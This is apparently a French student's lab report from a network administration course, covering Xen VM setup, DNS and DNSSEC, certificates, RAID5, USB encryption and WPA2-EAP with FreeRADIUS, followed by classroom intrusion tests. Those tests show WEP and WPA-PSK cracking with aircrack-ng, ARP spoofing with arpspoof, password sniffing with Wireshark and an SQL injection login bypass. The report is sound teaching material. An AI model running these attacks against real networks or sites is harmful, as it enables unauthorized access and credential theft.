Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancé.

Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté mes routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM répondent tout de même.

J'ai aussi eu un moment une connexion avec SSID_Lulya avec mon portable sans internet ce qui est normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-15T16:20:25Z

Lchenu : /* Sécurisation de serveur DNS par DNSSEC */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
